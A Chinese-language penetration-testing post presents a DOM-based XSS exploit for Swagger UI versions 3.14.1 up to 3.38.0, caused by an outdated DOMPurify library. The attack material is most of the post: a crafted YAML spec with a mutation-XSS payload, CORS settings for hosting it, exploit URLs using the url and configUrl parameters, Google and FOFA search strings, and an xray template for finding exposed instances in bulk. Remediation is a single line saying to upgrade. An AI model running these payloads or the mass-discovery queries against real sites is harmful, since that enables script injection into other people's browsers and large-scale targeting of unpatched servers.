渗透技巧基于Swagger-UI的XSS

目录

免责声明：

  本文章仅供学习和研究使用，严禁使用该文章内容对互联网其他应用进行非法操作，若将其用于非法目的，所造成的后果由您自行承担，产生的一切风险与本文作者无关，如继续阅读该文章即表明您默认遵守该内容。

漏洞简述：

  swagger-ui是一个允许 API 交互和可视化的库，Swagger-UI有一个特性它允许您向 API 规范提供URL一个yaml或json文件

（例如http://swagger-server/swagger-ui.html?url=https://your_api_spec/spec.yaml、http://swagger-server/swagger-ui.html?configUrl=https://your_api_spec/file.json）

，它将被获取并显示给用户。该漏洞产生的原因是swagger-ui使用了一个过时的库

DomPurify

（DOMPurify是一个开源的基于DOM的快速XSS净化工具。输入HTML元素，然后通过DOM解析递归元素节点，进行净化，输出安全的HTML。），结合库的特性允许获得由查询参数控制的DOM型XSS。

受影响的版本：

• Swagger UI versions affected with the XSS: >=3.14.1 < 3.38.0

漏洞实现

具体分析过程可以看原文

POC

swagger:'2.0'info:title: Example yaml.spec
  description:|
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' οnerrοr='alert(document.head)'>">paths:/accounts:get:responses:'200':description: No response was specified
      tags:- accounts
      operationId: findAccounts
      summary: Finds all accounts

复现的时候踩了个坑
如果提示这个错误是因为无法跨域导致的，把Access-Control-Allow-Origin设置为*即可。

has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

我这里使用的是apache设置配置文件

httpd.conf

，最后一行添加即可

<IfModule mod_headers.c>

    Header set Access-Control-Allow-Origin: "*"
    
    Header set Access-Control-Allow-Methods: "GET,POST,PUT,DELETE,OPTIONS"
    
    Header set Access-Control-Allow-Headers: "Content-Type"

</IfModule>

yaml文件配置

swagger:'2.0'info:title: Example yaml.spec
  description:|
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' οnerrοr='alert(document.head)'>">paths:/accounts:get:responses:'200':description: No response was specified
      tags:- accounts
      operationId: findAccounts
      summary: Finds all accounts

json文件配置

{"url":"http://IP/test.yaml","urls":[{"url":"http://IP/test.yaml","name":"Foo"}]}

漏洞利用

• http://attack-ip/swagger-ui.html?url=http://self-ip/test.yaml
• http://attack-ip/swagger-ui.html?configUrl=http://self-ip/test.json

如何大规模找到 Swagger UI

Google

搜索：

intext:"Swagger UI" intitle:"Swagger UI" site:yourarget.com

FOFA

语句：

title="Swagger UI"

XRAY

也可以改一改直接扫可以执行XSS的，这是之前写的懒得改了。

name: poc-yaml-swagger_ui
manual:truetransport: http
rules:r0:request:method: GET
            path: /swagger/index.html
        expression:|
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")r1:request:method: GET
            path: /swagger-ui.html
        expression:|
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")r2:request:method: GET
            path: /v2/api-docs
        expression:|
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")r3:request:method: GET
            path: /api-doc
        expression:|
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")r4:request:method: GET
            path: /index.html
        expression:|
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")r5:request:method: GET
            path: /v2/swagger.json
        expression:|
            response.status==200 && response.body.bcontains(b"{\"swagger\":\"2.0\"") || response.body.bcontains(b"{\"openapi\":\"3.0.1\"")r6:request:method: GET
            path: /v1/swagger.json
        expression:|
            response.status==200 && response.body.bcontains(b"{\"swagger\":\"2.0\"") || response.body.bcontains(b"{\"openapi\":\"3.0.1\"")r7:request:method: GET
            path: /api/swagger.json
        expression:|
            response.status==200 && response.body.bcontains(b"{\"swagger\":\"2.0\"") || response.body.bcontains(b"{\"openapi\":\"3.0.1\"")r8:request:method: GET
            path: /swagger/ui/index
        expression:|
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")r9:request:method: GET
            path: /api/swagger-ui.html
        expression:|
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")r10:request:method: GET
            path: /swagger/swagger-ui.html
        expression:|
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")r11:request:method: GET
            path: /actuator/swagger-ui.html
        expression:|
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")r12:request:method: GET
            path: /swagger/v1/swagger.json
        expression:|
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")expression:|
    r0() || r1() || r2() || r3() || r4() || r5() || r6() || r7() || r8() || r9() || r10() || r11() || r12()detail:author: zhibing
    links:- https://github.com/zhibx
    description: swagger_ui

修复

1.升级Swagger-UI。